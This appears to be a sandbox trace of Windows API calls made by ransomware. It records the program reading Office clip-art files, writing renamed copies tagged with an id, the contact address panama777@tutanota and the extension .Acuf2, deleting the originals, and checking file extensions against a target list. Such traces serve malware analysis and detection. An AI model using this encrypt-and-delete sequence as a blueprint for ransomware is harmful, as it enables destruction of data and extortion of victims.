	[0255.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.824] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.824] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.825] GetLastError () returned 0x0
	[0255.825] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3ef0, lpOverlapped=0x0) returned 1
	[0255.839] WriteFile (in: hFile=0x344, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3f00, lpOverlapped=0x0) returned 1
	[0255.841] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.841] WriteFile (in: hFile=0x344, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.841] SetEndOfFile (hFile=0x344) returned 1
	[0255.841] CloseHandle (hObject=0x344) returned 1
	[0255.841] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.841] SetEndOfFile (hFile=0x28c) returned 1
	[0255.843] CloseHandle (hObject=0x28c) returned 1
	[0255.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1
	[0255.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.877] lstrlenW (lpString=".doc") returned 4
	[0255.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.877] lstrlenW (lpString=".docx") returned 5
	[0255.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.878] lstrlenW (lpString=".pdf") returned 4
	[0255.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString=".xls") returned 4
	[0255.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.878] lstrlenW (lpString=".xlsx") returned 5
	[0255.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.878] lstrlenW (lpString=".ppt") returned 4
	[0255.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.878] lstrlenW (lpString=".zip") returned 4
	[0255.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.878] lstrlenW (lpString=".rar") returned 4
	[0255.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString=".bz2") returned 4
	[0255.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString=".7z") returned 3
	[0255.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.878] lstrlenW (lpString=".dbf") returned 4
	[0255.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.878] lstrlenW (lpString=".1cd") returned 4
	[0255.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.878] lstrlenW (lpString=".jpg") returned 4
	[0255.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString=".doc") returned 4
	[0255.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString=".docx") returned 5
	[0255.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.879] lstrlenW (lpString=".pdf") returned 4
	[0255.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString=".xls") returned 4
	[0255.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.879] lstrlenW (lpString=".xlsx") returned 5
	[0255.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.879] lstrlenW (lpString=".ppt") returned 4
	[0255.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString=".zip") returned 4
	[0255.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.879] lstrlenW (lpString=".rar") returned 4
	[0255.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString=".bz2") returned 4
	[0255.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString=".7z") returned 3
	[0255.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString=".dbf") returned 4
	[0255.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString=".1cd") returned 4
	[0255.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63
	[0255.879] lstrlenW (lpString=".jpg") returned 4
	[0255.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.880] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.880] lstrlenW (lpString="BD08758_.WMF") returned 12
	[0255.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.880] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=24320) returned 1
	[0255.880] CloseHandle (hObject=0x320) returned 1
	[0255.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20
	[0255.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.881] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.881] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0255.881] GetLastError () returned 0x0
	[0255.881] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5f00, lpOverlapped=0x0) returned 1
	[0255.901] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5f10, lpOverlapped=0x0) returned 1
	[0255.903] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.903] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.903] SetEndOfFile (hFile=0x33c) returned 1
	[0255.903] CloseHandle (hObject=0x33c) returned 1
	[0255.903] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.903] SetEndOfFile (hFile=0x320) returned 1
	[0255.922] CloseHandle (hObject=0x320) returned 1
	[0255.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1
	[0255.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.971] lstrlenW (lpString=".doc") returned 4
	[0255.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString=".docx") returned 5
	[0255.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.971] lstrlenW (lpString=".pdf") returned 4
	[0255.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString=".xls") returned 4
	[0255.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.971] lstrlenW (lpString=".xlsx") returned 5
	[0255.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.971] lstrlenW (lpString=".ppt") returned 4
	[0255.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.971] lstrlenW (lpString=".zip") returned 4
	[0255.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.971] lstrlenW (lpString=".rar") returned 4
	[0255.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString=".bz2") returned 4
	[0255.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString=".7z") returned 3
	[0255.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.971] lstrlenW (lpString=".dbf") returned 4
	[0255.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.972] lstrlenW (lpString=".1cd") returned 4
	[0255.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.972] lstrlenW (lpString=".jpg") returned 4
	[0255.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.972] lstrlenW (lpString=".doc") returned 4
	[0255.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString=".docx") returned 5
	[0255.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.972] lstrlenW (lpString=".pdf") returned 4
	[0255.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString=".xls") returned 4
	[0255.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.972] lstrlenW (lpString=".xlsx") returned 5
	[0255.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.972] lstrlenW (lpString=".ppt") returned 4
	[0255.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.972] lstrlenW (lpString=".zip") returned 4
	[0255.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.972] lstrlenW (lpString=".rar") returned 4
	[0255.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.972] lstrlenW (lpString=".bz2") returned 4
	[0255.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.973] lstrlenW (lpString=".7z") returned 3
	[0255.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.973] lstrlenW (lpString=".dbf") returned 4
	[0255.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.973] lstrlenW (lpString=".1cd") returned 4
	[0255.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63
	[0255.973] lstrlenW (lpString=".jpg") returned 4
	[0255.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.973] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.973] lstrlenW (lpString="BD08773_.WMF") returned 12
	[0255.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.090] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=24778) returned 1
	[0256.090] CloseHandle (hObject=0x320) returned 1
	[0256.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20
	[0256.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.091] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.091] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.103] GetLastError () returned 0x0
	[0256.103] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x60ca, lpOverlapped=0x0) returned 1
	[0256.111] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x60d0, lpOverlapped=0x0) returned 1
	[0256.112] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.112] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.112] SetEndOfFile (hFile=0x28c) returned 1
	[0256.112] CloseHandle (hObject=0x28c) returned 1
	[0256.113] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.113] SetEndOfFile (hFile=0x320) returned 1
	[0256.117] CloseHandle (hObject=0x320) returned 1
	[0256.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1
	[0256.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.282] lstrlenW (lpString=".doc") returned 4
	[0256.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.282] lstrlenW (lpString=".docx") returned 5
	[0256.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.282] lstrlenW (lpString=".pdf") returned 4
	[0256.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.282] lstrlenW (lpString=".xls") returned 4
	[0256.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.282] lstrlenW (lpString=".xlsx") returned 5
	[0256.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.282] lstrlenW (lpString=".ppt") returned 4
	[0256.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.282] lstrlenW (lpString=".zip") returned 4
	[0256.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.283] lstrlenW (lpString=".rar") returned 4
	[0256.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString=".bz2") returned 4
	[0256.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString=".7z") returned 3
	[0256.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.283] lstrlenW (lpString=".dbf") returned 4
	[0256.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.283] lstrlenW (lpString=".1cd") returned 4
	[0256.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.283] lstrlenW (lpString=".jpg") returned 4
	[0256.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.283] lstrlenW (lpString=".doc") returned 4
	[0256.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString=".docx") returned 5
	[0256.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.283] lstrlenW (lpString=".pdf") returned 4
	[0256.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.283] lstrlenW (lpString=".xls") returned 4
	[0256.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.283] lstrlenW (lpString=".xlsx") returned 5
	[0256.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.283] lstrlenW (lpString=".ppt") returned 4
	[0256.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.284] lstrlenW (lpString=".zip") returned 4
	[0256.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.284] lstrlenW (lpString=".rar") returned 4
	[0256.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.284] lstrlenW (lpString=".bz2") returned 4
	[0256.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.284] lstrlenW (lpString=".7z") returned 3
	[0256.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.284] lstrlenW (lpString=".dbf") returned 4
	[0256.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.284] lstrlenW (lpString=".1cd") returned 4
	[0256.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63
	[0256.284] lstrlenW (lpString=".jpg") returned 4
	[0256.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.284] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0256.284] lstrlenW (lpString="BD19563_.GIF") returned 12
	[0256.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.377] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=20454) returned 1
	[0256.377] CloseHandle (hObject=0x334) returned 1
	[0256.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20
	[0256.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
